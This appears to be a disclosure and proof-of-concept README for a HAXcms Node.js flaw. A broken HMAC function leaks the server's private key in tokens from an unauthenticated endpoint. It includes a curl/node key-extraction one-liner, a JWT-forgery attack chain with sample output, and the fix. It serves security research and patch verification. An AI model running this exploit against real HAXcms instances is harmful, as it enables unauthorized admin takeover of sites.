## https://sploitus.com/exploit?id=6A704036-937F-5806-9BC5-F01F0E0E1C48
# CVE-2026-46395 - HAXcms Node.js Private Key Disclosure via Broken HMAC (CWE-321 / CWE-200)
> **Proof-of-concept for authorized security testing and research only.**
> The vulnerability described here is **fixed in the latest release of HAXcms**.
> This PoC is published so that defenders and researchers can verify the issue
> on unpatched instances they own or are explicitly authorized to test.
| | |
|---|---|
| **CVE** | CVE-2026-46395 |
| **Component** | HAXcms Node.js backend - `haxcms-nodejs/src/lib/HAXCMS.js` |
| **Vulnerability** | Hard-coded crypto key + private key disclosure (CWE-321, CWE-200) |
| **Severity** | **Critical** - CVSS 3.1 **9.8** |
| **Attack** | Unauthenticated, single HTTP request, no user interaction |
| **Status** | Fixed upstream. Affects releases prior to the patch. |
| **Project** | [elmsln/HAXcms](https://github.com/elmsln/HAXcms) |
| **Reporter** | Shreyas Challa () |
---
## Summary
`hmacBase64()` in the HAXcms **Node.js** backend (`src/lib/HAXCMS.js:2158-2163`)
contains two cryptographic errors that together let any **unauthenticated**
attacker recover the server's master signing secret (`privateKey + salt`) and
forge admin-level JWTs.
```javascript
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: key hardcoded to "0"
var buf2 = Buffer.from(key); // BUG 2: the real key...
return Buffer.concat([buf1, buf2]).toString('base64') // ...is appended to the output
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
```
- **Bug 1 - Hard-coded HMAC key:** the literal `"0"` is used as the signing key
instead of `key`, so the HMAC provides no secrecy.
- **Bug 2 - Key leaked into output:** the real `key` (the system's
`privateKey + salt`) is concatenated onto the digest and base64-encoded into
the returned token.
Every token therefore has the structure:
```
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )
```
An attacker base64-decodes any token, **drops the first 32 bytes**, and reads the
private key directly. The `/system/api/connectionSettings` endpoint is in the JWT
skip list (`src/app.js`) and returns several of these tokens with **no
authentication**, so a single GET request exposes the key.
> The PHP backend (`HAXCMS.php:1619-1631`) implements this correctly (keyed with
> the real key, returns only the digest โ 44-char tokens). The broken Node.js
> version emits 139+ char tokens - a visible tell that extra data is embedded.
## Impact
A single unauthenticated request yields full compromise:
1. **Extract the private key** - `GET /system/api/connectionSettings`, base64-decode any token, drop the first 32 bytes.
2. **Forge an admin JWT** - `jwt.sign(payload, privateKey+salt)`.
3. **Forge request tokens** - recompute `user_token`, `form_token`, etc.
4. **Full admin access** - create/modify/delete sites, upload files, change content.
This works even after the admin sets a strong password, and forged tokens produce
no login events in logs.
## Running the PoC
`poc_hmac_key_leak.js` performs the entire chain end-to-end against a running
instance and prints each step verbosely: fetch tokens โ extract key โ verify key
โ forge JWT โ forge request tokens โ call an authenticated endpoint โ create a
site to prove write access.
### Prerequisites
- Node.js 16+
- A running HAXcms Node.js instance you are authorized to test
Stand up a local test instance:
```bash
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # serves on http://localhost:3000
```
### Install and run the PoC
```bash
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000
```
If `jsonwebtoken` is not installed the PoC still extracts and verifies the key,
and simply skips the JWT-forgery steps.
### Manual one-liner (key extraction only)
```bash
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
```
### Sample output
```
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
token length: 139 chars (a correct HMAC token is ~44)
STEP 2: Extract the private key from the token
Bytes 32+ (privateKey + salt in PLAINTEXT):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
RESULT: Private key successfully extracted!
STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.
```
## Remediation
Replace the broken function with a correct keyed HMAC that returns only the digest:
```javascript
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // use the real key
.update(data)
.digest('base64') // return ONLY the hash
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
```
After patching:
1. All existing JWTs/tokens are invalidated (expected) - users re-authenticate.
2. **Rotate `privateKey` and `salt`** on every deployed instance - any previously
issued token contains the old key in plaintext (in HTTP responses, logs, and
browser history).
Update to the latest HAXcms release, which contains the upstream fix.
## Responsible disclosure
This issue was reported to the HAXcms maintainers and fixed before publication.
The PoC is released only after a patch was available. Use it exclusively against
systems you own or are explicitly authorized to test.
## Legal / authorized-use notice
This material is provided for **defensive research, education, and authorized
security testing**. Running it against systems without explicit permission may
be illegal. You are solely responsible for complying with all applicable laws
and for obtaining authorization before testing. Provided "as is" with no
warranty (see `LICENSE`).